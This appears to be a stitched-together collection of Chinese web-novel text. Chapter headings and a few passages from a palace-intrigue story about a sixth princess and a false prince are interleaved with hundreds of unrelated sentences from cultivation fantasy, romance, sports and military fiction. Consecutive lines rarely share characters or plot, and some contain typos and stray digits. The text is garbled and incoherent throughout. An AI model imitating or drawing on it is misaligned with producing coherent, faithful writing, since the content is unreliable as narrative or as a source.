“六公主,您既已和亲南楚,为何不请求南楚助我东临打退北魏?臣听说礼部多次去使馆找驸马谈购买床弩之事都不成。还请六公主给个解释。”蓝老将军深深一揖。
他作为东临的武将,深知东临与南楚守望相助的关系。
“你怎会在这里?”洛宇语气冰冷,一如虚天剑上,那无法掩饰的锋芒。
“你们先回去吧,我去买点早饭。”柳梦媱说着转身走进了一家包子店。
虽然今日并没有将纪权废掉,毕竟大长老就在那里看着,如果古云真的废了纪权,他可是没有把握二长老会不会雷霆出手,那生死状在这样的高手面前,和一张废纸也是差不了多少。
将一部二十一世纪都广受欢迎的电影,搬到这个时代,可以说绝对会非常出彩。
但是,这不能说他的智商低下,在学习新的知识方面,一般人都是比不上他的。
甚至当场就有专家学者都开始讨论要不要出一套解说员标准和禁止态度倾向性的规定。
把徐老请进家门,指着沙发说道,这个时候,徐老发现了沙发之中还有一个身穿西装的男人的,看面相也是那种很精明的人物,而且眼神犀利,特别的旁边那个跟班的眼神更加的厉害了。
古云想了想也对,炼器师本来就是比较珍稀的,要是一个没有学习过炼器的人便是能够直接学习炼制劲器,想来这炼器师也就不会显得这般的金贵了,是自己他过于着急了。
其实在比赛结束后高川就已经收到了通知并递交了样品,在发布会上喊出药检这俩字简直多余的不要不要的。
从本心出发,世界音乐市场那么大,大型唱片公司都有着冲向世界的野心,但难度系数可以说是地狱模式,实在是太难了。
梁夜这次倒是没去吐槽,他也不得不承认;这艘船是他登上过的游轮中,最豪华的一艘。
众人都察觉到了梁夜的情绪,纷纷对视了一眼,眼神中都透露出了询问的意思。
“姐姐,你终于醒来了,大伯一家,又来抢了不少东西走。”严丹秋的妹妹严丹冬哭诉道。
不过这些都不是关键,关键的是自己以前收服过它,听他对自己讲的话的意思,那么自己是怎么收服它的呢?这段记忆很关键,是转败为胜的关键所在,他也消耗不起了,仙气即将消耗殆尽。
方思瑜押着满脸死灰的维多利亚,周雨樱则拿出平板电脑,望着屏幕上显示的卫星地图。
云璇音恨着,即使在知道了月倾
第一卷 第308章 寿宴
珍妃母女利用两个晚上对皇宫进行布局,一切都按计划进行。
萧宗翼虽监国,但因不是太子,晚上不住在宫里,所以给了珍妃很大的方便。
又加上德妃已死,他也不好肆无忌惮进后宫。
只听一声细不可辨的尖锐声响,烟雾弹打响后,并没有爆开她以为该有的示警彩色烟雾。
双方家长都等不得,牛不喝水强按头,陈瑾瑜梗着脖子闹腾,而裘先梓受过城西一惊,也不知是个什么境况。
她虽然只是一个新人,可是煜给她安排了助理,还有最好的经纪人,还有保姆车接送。
“看來其实你也觉得我做沒错对吧,那我就不改了。”叶凯成似乎是知道徐佐言在想什么,语调凉凉的说了一声。
“我都说了不是写给你的。”夏穆穆急得直跺脚,这是误会好吗?要她说多少次。
莫青烟笑着跟他们说,听到是他,三个孩子都想起了厉霆绝,只是谁都不敢提。
“凯?”徐诗韵愣了愣,转过头看向叶凯成,不太相信这会是叶凯成自己要求的。
大和咲人带来的扶桑玩家中也有些等级在此范围之下,当即命见月纱织将同样的命令传达下去。
听完了乔峰的叙述,叶枫沉思了一番,虽然过程充满意外,但好歹玄苦最后没死,乔峰也不会再被人冤枉杀父杀母杀师,阿朱也没事,算是美满结局了。便不由问道乔峰接下来有什么打算。
后面的段誉更是不知道该说什么,他也懒得搅和进去,静静的看着。
听王子翔这样说,李天逸不由得暗暗竖起了大拇指!王子翔不愧是老牌的公安局局长,看问题做事情果然老成持重。
“他们要佳怡赔两千元的!”老郝先生忍着痛,终于大喘气着把这些关键句说清楚了。
易枫挥舞拳头,雷火大作,呈蛮的灵力防护已经被易枫破去,这一拳,直接轰穿了呈蛮的心脏。
就算是所谓的最强大道也是一样,混沌大道的修炼者若是实力不足,也有可能被分解大道的修炼者所斩杀。
怎么了?只见从附近呼啦啦的跑来了十几个壮汉,而且是从西冶街两头而来的,刹那间就把把柴桦这一伙人给堵在了中间了。
特工队员各自端着武器,向树林对面的土坎一阵速射。子弹打得土坎附近,尘土飞扬,枝叶飘零。
一座孤零零的坟墓立在河边,坟前,一颗骷髅立在那里,那是易枫曾经砍下的金向东的头颅。
林
青霞,邓丽君,还有任贤齐,齐秦、齐豫、蔡琴、张雨生、王祖贤等等等等,这些台湾名人,都是眷村的后人,这些明星名人就是眷村人拼搏向上的杰出代表。
这时已是夜深人静时刻,天上的月光昏暗阴森,萧翠心话音刚落,便惊起了几只在树上休息的鸟儿。那些鸟儿“噗通”拍着翅膀,朝远处飞去,犹如黑暗中的幽灵一般。
卡尔像个孩子一样,傻傻的,不好意思的挠了挠头,有些不知所措。
到了这种时刻我才体验到什么叫做欲加之罪何患无辞,这两位警察心里已经认定了我就是凶手,无论我怎么辩解也只认为我是在企图开脱,什么都听不进去。
这是洪媟的点子,按她的说法,不管是晨曦篮球队还是晨曦足球队,在以后的比赛中,都需要有一支“专业”的拉拉队队伍,这也将是“晨曦”名号打响的一个关键环节。
第一卷 第309章 传位给六公主
陆川长扯下口罩,吐了口气,唇动了动,似乎有很多话想说,但是瞥了一眼李露,忍住了。
夏茹不懂医,更不懂专治肺癌方子代表了什么,但她很好奇,能让段主任忌惮成这样的名医究竟是何方神圣。
原以为痛到尽头是麻木,可原来是要陷入更深一层的无望,他的人生,从这一刻起,陷落到了终日无光的深井里。
万一这是五金公司的正常变动,那即便是她找黄思路恐怕也无济于事吧。
这是不是表示她接下来可以在这京城横着走了,还是那种不会被旁人轻易欺负的那种,改天一定要让她那傻表哥瞧瞧,什么是真正的实力。
因为跑了好几日,真旗更知百里怒云要在此处多停留几日便也放下心来喝了两口水倒在床上便睡。
他并不觉得一个刚才被自己打的重伤頻死的人类的招式有多厉害。
虽然君家无敌,但君家的敌人也不少,摆在明面上最大的敌人,天庭,向来动作不断。
在曾经的东郡,秦军与魏军进行了长时间的对峙。哪怕是一城一地,也是无数的骸骨堆积得来的。
当力量到一定程度,就能将之彻底湮灭,渣都无法留存在这个世界。
他的身体、元神化作亿万道光点,如同阳光下的雪533花,逐渐消散在天地之间。
唯一庆辛的是,他们都躲在了将闾身后,如果直接面对逆鳞的威压,心境恐怕瞬间破碎。
太乌神帝甚至怀疑,天帝是否故意让他听到这些,然后第一个将他除掉?
虽然两人被鸿钧以大神通改变了身材,但是以通天的法眼依旧能认出两人身份。
此刻,本州岛空军基地的飞行员已经成为了战机的一部分,他们机械的按照命令执行,开始对rb国九州岛进行无差别轰炸。
可是让他们所有人都没有想到的是,帝国会以这种方式率先对rb国九州岛发起攻击,而且在第一轮攻击当中的十分钟之内,就干掉了国在rb国九州岛上的所有撒德反导弹系统。
楚原听见了方丈的话了以后,对着少林寺方丈说道:“方丈,谢谢您的提醒,我已经明白了那种力量是有多么的不可想象了,不过我这次是一定要过去的”。
当然,也有一些魔族是有克制方法的,比如弃天帝,比如重楼,他们都是拥有克制方法的,不过这种方法基本上不可能传给其他人的,除非是血脉亲族。
汉灵帝光和七年,朝廷腐败,宦官外戚争斗不休,边疆战
事不断,国势日趋疲弱,时逢全国大旱,天下颗粒不收而朝廷却赋税不减。
齐玉白只感到黄芒一闪,然后天地一震,院落中顿时石飞沙扬,碎傀乱撞。
“岳丈大人,先将得汤药喝下吧,这样你才是能够好上一些。”此刻季蔑也是在得一旁拿着一碗漆黑的汤药送入战殷的口中,也是示意战殷将得汤药喝下。
“我说狂呀!你带着大仙倒是冲呀,我可是先前受伤的。是伤员。难不成你想让我这伤员当前锋。”柳天盛捏着兰花指笑吟吟的看着我说道。
在这气氛不好的两分钟之后,沁心学姐率先打破,然后拿起篝火上的烤鱼就大吃了起来。
这一刀的来势当真是无比凌厉,若能得逞,少年绝对会直接身首分离。
里面有着五名年纪比较大大的研究人员与科研人员,其中两名是中国人,而另外三名则是两名欧洲人已经一位日本人。
同样是活过百年的人物,朱溪怎能看不出它们所行之计,头可断、血可流,脊骨不能丢,想要折我人族脊梁,妄想。
“哼!”而此刻的战血同样也是察觉了季承的异样,一声冷哼之后便是见得季承护在身后,此刻的他也是能够明白,撒旦明显也是冲着季承而来的,若是让得季承与着撒旦对上,那么恐怕季承也是将会凶多吉少。
而就在得季承两人也是缓步往着人马族的营地之内接近的时候,却是听闻一阵破空之声传来,袭向季承二人,确切的一些来说,是袭向季承。
旋即,龙星麟目光稍稍向下移,落在明夜玉上,双眼微眯了起来,似在想着什么。
如此情况下要想克制此剑或是说这个火凤凰,只能用水了。然而,这唯一的办法也没用了,因为对面还有一个冰系的飞剑,看起来不逊这火剑。
“正好可以不让那丫头搅和进来。”他叹了口气,朝那座雄伟的建筑飞了过去。
在这样的情况下,这些国家首脑都是不敢轻易招惹吸血鬼家族的。
空中的苍龙顿时一缓,可并未如风系位神所料一般停了下来。苍龙似乎愤怒了,他夹杂着含愤的一击,又以更加高速的向风系位神撞去。
那是很多年前,一个曾经指点过自己修炼的一位恩师,因为资质的缘故,对方并没有收自己为徒,但他林晚风很是感‘激’,心中一直记着。
就在天佑期待的时候,妖妖周身的灵光突然一暗,而她手掌抵着的炼灵石,并没有发生丝毫的变化。
而且姬天还想到,镇元子
能够将一方太古洪荒碎片永恒的定在崩裂的那一刻,抵挡了大道道意的侵袭,肯定是自身空间大道的缘故。
就在刚刚,木长老放出强大的神识,强行侵入天佑的神识海中,想要以自身强大的神念,对天佑施展搜魂术,可对方的神念被一层金光包裹,根本就不容他人侵入。
第一卷 第310章 皇宫里的一场大战
而就在这时,后殿方向传来喊杀声:“你们是什么人?”
接着就是惨叫声,只一瞬间,就从后殿冲进来无数黑衣人,一进来就与禁卫们厮杀在一起。
“好啊,南楚果然有备而来。”萧宗翼手里的箭放出,可在半路就被一剑打落在地。
听了明空的话,在看着明空那焦急的神色,似乎要不是实力不够就要将李慕交出去的样子,李慕的眼眸,变冷了。
天擎山脉风景秀丽,再加上庚金气息浓厚,苏彦也不着急离开,而是在这里住上了一段时日,彻底稳固了修为,同时也大大加深了对法则的感悟。
面对司马静的“深情”,尉迟恭厌烦得不行,半点儿都不客气唤了两个副官来,帮忙自己。把她给架了下来,丢出了城主府去。
布将画戟一举,戟所串的四具尸体也一并举向天,四具尸体的血不断地飞溅。布再用力地一抛,戟回收,四具尸体飞抛出去,其中的一具尸体还将一个立兵给压倒于地。
“我不管你究竟隐藏了多少实力,但是敢阻止老娘的好事,老娘非毙了你。”玲珑玉推出刀芒风暴,恶狠狠的说道。
神枫心中的震惊简直难以形容!这种力量,根本就和上次越界时遇到的神秘人是同一个级别的,试问以他的力量又如何能抵挡?
“元婴?”神枫愣了一下,但马上脸上就露出一抹邪恶的笑容!他突然想到了对付神主的方法。
一百多个术士所施放出的视力丧失也只能遮挡住数千爱樱士兵的视线,他们并不混乱,火力也并不显得减弱了多少。
她身子猛的一抽,便无力的垂下,鲜血顺着骨牙滑落在奥玛科的身上,又落在瓦西里的背上。她那青年的脸庞,正在迅速的老去。
夜已深,赵炎被艾玛娅带到一个他从来未去过的树林,准确的说,从塔巴巴村向北方延伸,赵炎最远的位置也只是到达曼城而已。曼城再往北去,赵炎就不知了。
韩增匆忙离开霍府间,自有下人将此事禀报霍显,霍显即刻便传见了冯子都,询问霍光见韩增是何用意。
话音刚落,一身戎装的秦慕阳果然走了进来,他高大的身影遮住了光线,看不清他的表情。
霍成君只愿尚来得及乐于眼前,前尘往事只愿能随时间而逐渐消散抚平;而上官幽朦却是为这些往事而心生忧虑,她们却都忘了引起此事的戎美人。
夏侯胜的脾气韩增还是知晓的,他不急,韩增也不再问,只命人上茶,然后自顾自品茶,就等着夏
侯胜开口,反正这怪老头要是还觉得不到时机,任凭你怎么问也是问不出个所以然的。
秦慕阳被深深镇住了,抓着他的手,慢慢松开来,紧皱着眉,内心正在进行着天人交战。
于是翻出了自己这几年的积蓄,虽然王妃的封号不再了,可是这几年做王妃得到的财物还是留的好好的。
王彦在一旁数着,买自己输的一共有六百一十三人,输的盆里一共有三千零六十五枚武铜,买自己赢的只有自己,除去一成的抽成,赔率高达五百五十一!下注的人越来越少,盏茶的功夫便都下完了。
“是的,但是如果不在那里补给我们便回不了谷神星了,毕竟火星已经不在我们手中了。”罗严塔尔也表示无奈。
第一卷 第311章 滴血验亲
此时蓝老将军也解决完叛军,提着滴血的大刀大跨步来到东临皇面前,扑通跪地。
“老臣救驾来迟,还请皇上责罚。”说得铿锵有力。
叶晨收起了拳头,心中狂喜,七天时间,他终于领悟出了不灭王拳的奥义。
“二弟,晨儿这都是为了家族好,至于晨儿身上的秘密,除了老爷子、焚哥、你我之外,不可以让任何人知道,不然我们家族可能遭来灭顶之灾。”凌云郑重地看着叶林叮嘱道。
他的衣服倒是随意,但也没有太过失礼,跟在天寒豹主人的后面,那侍卫竟然没有检查楚毅的邀请函。
随后,周围的修士们纷纷振臂高呼,很明显,今天晚上,白夜王已经输了。
直到那时,两岛的城主才醒悟过来,但却有些太迟了,双方之间的仇恨已经深到了无法解开的地步,宁可同归于尽也不愿意与对方讲和。
早在一千二百多年前,命途多舛,又积极乐观的唐代大师刘禹锡,便对人姓和生活做出精辟总结,金彪事件后,徐虾深刻体会了这句诗的伟大含义。
“怎么,建军哥,江辰平时可不会喝酒,现在都要吹了,你要是不吹,那真让我失望了。”杨洁添油加醋道。
至于店铺的事情,大不了秦子皓不开就是。这一两千万的钱,对秦子皓来说,不算什么。
“没有!”整齐的喊声,众多士兵不但没有意见,反而是一个个眼中透着精光,兴奋无比。
“这么说,吴东强所说的修士宝藏的事情,也是真的了!”毒蝎道。
要不然的话,天帝和鬼医什么都不怕,最怕的就是凌夜枫会说这几个字。
视线从水晶兰移向后面那座房屋,试想假如曾经这里有住过人,那么一个住在被死亡之花包围的房子里的人,心境是怎样的?
夜离殇自幼失去父母是在谷中被师傅抚养长大,医术对他来说便是一切,若是有朝一日不让他再行医,想来是比死还要难受的。
毫无意外,我抬眸就看见了成凯,而他的身侧,还跟着几个朋友。
“艾老爷子,你家姑爷来接俏花回去了。”周围的邻居在大院门外叫道。
夜离殇这一手来的太急,谢丰跟方氏他们才刚到门口,见此情形全都惊了。
“哎你酒还没喝呢。”我抬手在胸前挡了挡,心跳声忽然变得有点急促。
于是我就这么莫名其妙的多了一个未婚夫,还是一个脑子有毛病的未婚夫,我甚至连拒绝的余地都没有
。
中转当然是为了中转从运城提供给韩振汉的补给和财富,虽然韩振汉带走了很多的金银钱财,但是钱财总有花光的时候,在韩振汉还没有找到新的据点新的赚钱方法之前,只能吃老本。
“贺老先生,贺姨最近身体怎样,我一直忙也没时间过去看她。”林佳佳选着个合适的话题问。
虽然察觉到了祁微的气息,但这气息很阴冷,有些血腥感,但却不像是古武者的气息。
“那行,既然桐乃你写过,不知能不能拿给我看一看,我好确认一下你的水平。”他故意说。
妖境中的人影只不过存在了一两分钟的时间后便渐渐淡去。最终,这面妖境再度化为了一片混沌。
第一卷 第312章 一个小人物搅动两国风云
难道他的一切行动都在这老东西的监视下?
百思不得其解,可现在想这些已经没用。他是假皇子的事实已经摆在眼前。
早知如此,他应该早些对老东西下死手,直接抢过皇位,做什么要名正言顺。
后悔莫及的他看着滴下的血慢慢相融。
此时见苏齐几人赶来营救,宋凌风自然是心生感动,却是没有时间和精力去说谢谢,急忙拉着伊菲向外冲去。
其中一方身旁,有一团黑气,隐约是个龙形,但此刻却被斩成了数段。根本不能聚合成一束,这龙形黑气倒像是一条死龙。
叹了口气,将心中的阴霾挥之而去。失去了又怎么样,当初也不同样是从一无所有的时候走过来?
若是许七能够自己离开这九天仙府,一定会带上墨神锋一起离开;若眼看着当真是没有任何离开的可能,更要死在孙乘云手中,许七也得想一个办法让墨神锋能够离开。
他发现自己手中的高能武器根本就无法伤害到那个光圈,或者准确的说其实那就是一道光,光线又怎么可能被高能武器伤害到。但是随着光圈的不断逼近,周瑜却真真切切的从里面感受到了危险的气息。
“可能吧。”李云尘对着林雪儿微微一笑,随后便走上前去,那劫丹内的赤炎界在其意念催动下,瞬间祭出,巨大的火焰光圈将他笼罩住。
东方原双指凝结,身体横行,铁剑眨眼间飞出,破开那缕疾风对着李云尘爆射而去。
透过模糊血肉,独孤星瞳孔一缩:瞿少英之心肺均已化为无数碎片。
当初那一场大战对琉家的打击是毁灭性,要不是有长辈掩护,他们讨不到蓝蛇谷,当初进入秘境的一共有三人,但是那个长辈最后还是因为重伤而死。
这片空地老道实地看过,知道这血灵棺当初选址的时候特意找了一块犯风煞的穴地。风煞在风水学中有很多种,但是总结起来一点,风太大或者是风吹的时间太长就是犯了风煞。
张凡的箭,箭头仍在,而现在多出的一个箭头,不是他的,还能是谁的?
并不需要说服沈野,需要的只是一个时间的缓冲罢了,和陆离等人只要还待在一起,她想要占为己有的想法,就很难达成。
更重要的是,这里可不是韩国,韩国人在澳大利亚可指挥不动裁判。
镜头从另外一个角度把两名主教练同时拍进了画面,两位教练同框的画面,也是比赛非常有意思的花絮。
此人来历异常神
秘,而且在阵法一道的造诣,可说是前无古人,后无来者,妖艳到了极点。青川道人、方谋士等人,皆称得上阵法大师。
说话之时,手中天帝神戟舞动,在他所在的那片区域,出现了一片密不透风的漩涡,在他后面,部分将领也纷纷举盾,其他人的力量加持其上。
像许萧媛这样有着高强本领的真道姑更是凤毛麟角,何况因为她本领高强,陈子杨还对她有着格外的一份好感,真的不希望有什么意外的事情再发生在许萧媛的身上。
尤其是,屏幕里的人影,那摇摇欲坠的身形,更是把这种气氛,渲染到了极致。
“你还有脸问我!呵呵呵,老子给你发那么多生活费,还不如喂狗呢。上个月你们辅导员才打了电话过来,说你又挂了两科。
第一卷 第313章 南楚出兵
林以沫见陆奕寒盛满深情的目光,眸底闪过一抹冷意,一脸痛苦的轻呼一声。
林黛欢看了看乔温雅,又看了看方思恬,极为不爽地瞪了叶旭一眼。
他话题很多,围绕着自己,吐露心扉,再转移到她身上,也让她倾诉。
坐在豪华的办公室里,陆默看着楼下正忙碌着将机器搬进厂房的人们,脸上一片阴郁。
经过苍猿的多年研究,他现在人体大脑内,可以分泌出某种特殊液体。其作用类似于兴奋剂,但其效果,却比现在世上最强的兴奋剂还要好上百倍,而且绝对安全无副作用。
不但如此。花田君江此刻所这个跪坐的姿势,更把她臀部的丰腴曲线,加倍突现出来。乍看之下,当真肉感十足,诱人无比。一霎那,几名警部补,甚至包括新田警视本人,也情不自禁地滑动咽喉,吞了口馋涎。
自从那天,听周立为亲口说出要把自己送给洪流会的刀王仆南,她的心就冰凉,就连看周立为的目光都冷冷的。她已经有四五天没有去剧组拍戏,只能留在宾馆给周立为当玩物。
夏暖害羞的表情宛如情侣向伴侣撒娇一般,娇俏可爱,让陆奕寒在公司里阴霾的心情不禁也明媚起来。
向血色焰光走近的人,目光诚挚,明亮的如秋天雨后的睛空。他们一步步的走向血焰。没有一丝的犹豫,动作是如此的整齐、僵硬。仿佛血色的光焰才是他们最终的最宿。
“多亏了幕霂过来帮我,她的能力大家有目共睹,所以我要你给她个副总经理的位置。”丁诗琦道。
她也没有参与黑衣年轻人和血衣年轻人两人之间的争斗,而是选择了旁观,两人敢没有谁去管他。
游建本来不想说这么多的,似乎是承引的某些过敏性词语刺激到了他,他现在的表情就可以看出他是有多么的厌恶承引。
源始信碑也曾经是混沌力量的一员,然后不知在宇宙中游荡时吞噬了什么,它拥有了主意识,信碑与混沌就成为天敌。因此,混沌邪魔、混沌邪神等等并非人对它们的称呼,而是它们原本就具备“六极”属性。
他的话落下,眼中突然出现碧绿色的光芒,并且逐渐占据了瞳孔,最后两眼完全被流水般的碧绿之色占据,看起来绿得醉人。
那个司机还一脸纳闷,这么偏僻的地方怎么会有这么多人?不过看他们都很严肃的样子,司机也没敢去问什么。
辉一根本就没有留意过[栗子球]是什么时候上的手,一旁的柔雪但是提醒了他一下。
令与等级挂勾,但令有阶梯,就程广胜所知的为“祀梯、职梯、五方梯”,五方梯之上还有多少梯,程广胜不知道,20年后全世界也只有6个登上“五方梯”的牛人,而他们的等级是5级,也就是诸令修到了5级。
白骨统帅的实力与亡灵统帅相差不多,两者也可以说是在仲伯之间,于是妖娆便直接化为蛇人形态,攫取月光的能量进行镇压。
“你说过三招之内无论如何你都不会还手,可是现在你明明违背了自己曾经许下的承诺!”李青他终于忍不住,大吼了出来。
陆龟眼中喜意一闪,下意识的想要将自己放脖子收回去,但顾及到齐瑜在它脑袋上,考虑到他的速度,还是忍住了这一冲动,接着就听见齐瑜说道。
云华抬起头,看着他,眼眶通红,眼泪在眼眶里打转,看得南樛心疼不已。
他们也不会有什么作用机制,只要确定发动,并符合发动条件,直接就可以达成超能力最终能够达到的既定结果。
而这次农忙现身人前的隐卫们,吃过饭后又回到了自己的岗位,以为事情总算完了。
没有了楚玉均的存在,也没有了那些人的阻拦,安锦颜,我会拼尽力将你追回来。
原来当初黎川也不止一次收到过星云石。当年那批初出土的星云石因为不为人看好零落各处,散得到处是,时不时就会出现那么一两块儿。只是一般大家的消息都捂得很紧,以免遭人哄抢。
晚上回到老宅,罗勋打开壁灯,坐在昏暗的沙发上,沉思追忆着过去。
话语里的落寞让费老爷子惋惜不已!说起来,何老爷子当年是个武僧,也是正正经经的练武之人。
“你不想见那就不见,着人打发走,跪在外面多难看。”老爷子立即道。
虽然他们面容和人类差异较大,可传达出来的情绪还是很清晰的。
这是姬坤的老爷子赛神医当初开办益寿堂时定下的规矩,几十年来也都是这样执行的,这也是老百姓都知道的事情,所以即使益寿堂的药材要比普通药铺贵上一些,只要老百姓出的起银子的,都愿意来益寿堂抓药。
第一卷 第314章 霍凝玉的想法
如此一来,秦克礼经常出现在司南枝施粥棚那里便有了合理理由,至于他今天为什么会倒在司南枝院子门前,也一样有了合理解释。
我就不说准圣的四御大帝了,就说天庭大罗金仙,能灭你之人,两只手都数不过来,你猜他们为什么没有出手?
“神经病。”司南枝扫了一眼她的背影,转头离开去找那所房间。
混元大罗金仙不能不死不灭,却又有不受约束的大逍遥,大自在。
萧婵盯着他上下滚动,不停吞咽的喉结,唇畔晕染出真切的笑容,眸底的恨意没藏住几分。
叶青云突然诞生了混沌剑体,强大的混沌剑气形成,充斥在体内。
宋夫人给我留了一个悬念,我根本弄不清楚她葫芦里面买的是什么药。
眼见苏碧菡已奄奄一息,他不敢怠慢,马上将她背起冲向凛冽的寒风中。
没想到真有蕃王响应,西部陇州蕃王周全,东部江州蕃王薜启,还有西南冀州蕃王孙如宾,他们都加入到“清君侧”的队伍中。这些人相约在本月的十五日共同发兵向临漳进发。
各大峰主,长老,弟子,全部停了下来,随后向着叶青云躬身行礼。
作为一门可以修炼到圣人级别的灵魂功法,只要他持之以恒的修炼下去,不但能让自己的灵魂恢复,还能让自己的灵魂变得越来越强。
滕紫颇有些被吓到:“滕紫在府里帮着打点就好了。”滕紫很能认清自己的位置,不奢求可以跟着主子出去的机会。
其实里面也没有多少台词,毕竟这种综艺节目,虽说不像真人秀那样,是跟拍的。
他本来以为苏恬甜在学校,到校门口给她打电话之后才知道她在家,于是又把车子掉了头。
“太好了!是波鲁萨利诺大将!”周围海军惊喜地看着上空的人。
修炼会让人着迷,实力提升的感觉太美妙,绝大多数人都会沉醉其中。
“那是因为你们不是她的朋友。”眼前马尾辫冷冷的开口,两人顿时感觉到了一阵莫名的寒意。
黑蛇号回航,一路上再没有其他波折,两天后,黑红色战舰缓缓地停靠在了切诺亚特的码头上。
完全不同曲风的歌却要同一时间演唱出来,而且还要和其他选手进行对比。
“那个武神的存在,始终都是一颗定时炸弹!”封万年和姜誠可不是鲁莽之人,此刻当两人准备对姬太玄下手时,却是猛然间想起了武神空间的存在。
再看
一身后,庞八条、谢冬、董超他们还开着跑车跟在自己身后呢。
而后,她又借助吞元号,将鸿钧道祖的紫霄宫给镇压封印了起来。
因为皮蓬缺阵,公牛队今年的战绩没有像前两个赛季那样一骑绝尘。目前的排行榜上,西雅图超音速以28胜6负位居全联盟第一,洛杉矶湖人以26胜8负位居全联盟第二。
同样,因为本身是美籍华人,在国内,李卫打nba并没有引起轰动。
“回主子的话,他们真有奸情,俺亲耳听过,也亲眼看到过的。”李有福讨好地说道。
“召荆儿明晨入朝。”熊元转头吩咐长姜道。此言一出,黄歇心头突跳,好在没有晕倒——心疾是遗传之疾,黄歇出身王族,心脏也不好。
从警察局出来后,他直接拦了一辆的士杀奔步步高超市,买到了老爸要的娟城牌生抽后立马赶赴回家,到家后,饭菜早已经做好,就等着他回来吃饭。
不过,某明星那次事件中,虽然是收到黄领队的引诱等等相关,但是这件事在事实上确实是该明星进行吃鸡了,虽然是被黄领队下套了,不过根据事情情况,黄领队并没有达到诬陷罪程度。
在如今充满抄袭的圈子里,这样坚持而且还能保持创新的作者很少了。
其实资料并不是很多,联网登陆了黑刀的邮箱以后,果然不出他的所料,林殊发现黑刀许多不为人知的秘密!而这些秘密,恰恰解开了他心中诸多的疑惑。
一个个信息,那段1分钟的视频,都在诉说着林阳的成功和实力。
至于他能逍遥法外,顺风顺水,完全归功于他有个厉害的外甥,梵温庭。
这招供海贼再次吓得浑身僵硬,忍住脖侧血口带来的剧痛,丝毫是敢再动,十指已事知地深深插入了海边的沙土中。
他是真的有些跟不上林阳的思维转换速度了,吃烧烤不是为了吃烧烤?
现场的特战队员们不禁都在等待着林殊的回答,而红细胞和战狼的人心中则是一紧,倘若林殊真的承认了,那么无异于是将自己推到风口浪尖上,对他影响将会不好,所以一时间他们都希望,林殊否认自己刚才所说的。
田芳还想再说什么,但忽然间看到李磊给自己使了个眼色,心里猛地回过神来,眼睛看了看不远处的赵雅,张了张嘴,半晌后化作一阵叹息。
“霍总,您手机屏保上的照片是您吗?”记者秉持着八卦的原则,压着激动的心,试探的问道。
按照侦查,曹军原先
在渤海方向,足足有五六万战兵,其中一半以上都是官渡之战和仓亭之战投降的袁军旧部,还有相当的后勤辅兵运粮民夫。
所以,他即便喜欢秦蔓,也是选择将这份心思藏在心底,怕秦蔓也遭到网暴。
“呜呜……高嬷嬷告诉莫婉娘亲出了远门,让莫婉去找,可莫婉找了好久都没找到,娘亲不要莫婉了,父亲,莫婉就只剩下你了!”姚莫婉抹泪看向姚震庭,断断续续呜咽。
杨阳淡淡的说完,坐在那里,一手拿过架在火堆上面烘烤的金枪章鱼。
第一卷 第315章 小嫂子,不哭
“龙哥真幽默,好像你去过末世之外的地方一般。”对于这个传奇人物,提亚已决定用浑身解数来挖掘其身上的所有宝藏。
“林兄,也许这里还藏有未知的危险,但我来到这里,就是要找到突破生死境的机缘。”陈天摇了摇头。
“我走了你怎么办?孩子怎么办?难道你忍心他一出世就没有父亲吗?”顾怀彦极为耐心的靠到了她身边。
“这可是关系到我们嵇家的未来,必须要认真考虑考虑。”三代老祖嵇白点了点头道。
秋儿似懂非懂的点了点头,见二毛从怀里探出头,一脸焦急的望着秋儿手上的野果,嘻嘻一笑就把野果送到了二毛手上。
心思闪动间,叶拙已经伸手出去将绿芒抓住,只是不等他仔细观探,便看到手中绿芒好似冰雪一般消融流淌,从指间到手臂……吃惊的叶拙下意识甩手想要甩开却发现根本甩不脱,低头看时发现自己全身都被一层翠绿包裹。
“你要倒霉了,你竟然敢打天虎集团的人!”杨鑫躺在地上打颤道。
说完封闲又对身后的一众晚辈摆了摆手,身形一动眨眼便下了船去,自顾自的直往瑸舫那边去了。
“畜生。”看着天上的飞机,所有人心里都不约而同地冒出两个字。
没过多久,吴彦就回来了,还跟来了一个身穿黑色长袍的老者,这名老者神色极为凝重地朝着吴言雄走去,沿途之中所有人都恭敬地半弯腰行礼。
叶枫这时候,恐怕已经死在清风寨里,被吊在示威杆上当箭靶子了吧?
这时候塔顶再度冲出了粗壮雷电轰在宏信的木盾上,大量横飞的碎木出现。宏信立刻施展技能单手战斗,剩下的手整个化作灰白色枝干加固头顶的木盾,过多的雷电开始如同水般在盾牌上绽开,但碎裂的情况却是完全停止了。
可惜黑虎因为疏忽被刘璃诛杀在了人间,连车票都归了血手。那时候起失去了主子的幽幽就在煞盟艰难度日,直到她又找到了一个新主子。
摇摇头,欧阳存也知道劝无可劝,只好勒令取材归来的唐琪,王想,放下材料后离开此间,在外守候,免得打扰。与此同时,欧阳存想了想,右手一扬,丢出一块宝珠,落于前头,形成一道单向的,外隔音隔视的结界。
有了陈耕的这个保证,记者们都相信陈耕不可能在这种事情上撒谎——他都明确表示可以允许记者们去查证了,如果不是有充足的信心,他可能这么做?
诡异强势的银白罡气瞬间被震得粉碎,宛如
万千光斑,在半空飘散四溅。
一边感叹现在派出所的高科技化,刘璃直接就走进了标着所长办公室的屋子。沉沉真的是越来越像成功人士,头发留长而且甚至都有点发福。
绕过假山,并不是一个宅院,而是一处景致漂亮的空间,沿着蜿蜒的回廊再往里走,这才看到三间高大的屋子。这便是杜家的厅堂了。
杜锦宁左右看了看,没看到齐伯昆。她并不以为齐慕远是在等自己,脚下丝毫未停,径直朝外面走去。
“这样最好了……”果然,没从卢羽的神态语气中察觉出一丝儿心虚之感的青鬼映丹雪,认可了卢羽的承诺,点头接了一句。
“那就多谢了。”猴王学人类抱了抱拳,就朝着青巫山赶了过去。
倏地抬起头,宛缨难以理解的看着柳辰阳又扭头看着宛清清,一脸敌视。宛清清则回馈她一个得意的笑容。
数日过后,刘专一早已醒来,此时的他半蹲在演武场内,一遍又一遍地施展着拔刀术。看上去精气神已经回复了大半。
因为他感觉一道气息牢牢的将自己锁定了,而这道气息的主人就算是用脚后跟想也能猜的出来。
“瞧你说的,这个也不能以偏概全吧,我们还是有优秀代表的!”莉莉爸爸笑着说道。
“现在还不是告诉你的时候,以后我会告诉你的。”剑惊尘淡淡的说道。
不一会,来了一个手握折扇,身体圆润,略显富态的青年走了进来。
日上三竿,薛延春芽才懒懒起床,洗漱吃饭后,又回到屋子里,闭门不出,对着镜子描眉盘发。
柳辰阳一进门就看到表情复杂、望着床单发呆的宛缨,以为她在意昨晚的事。心里莞尔:就算平时再怎样大大咧咧可她毕竟是个传统的姑娘家。
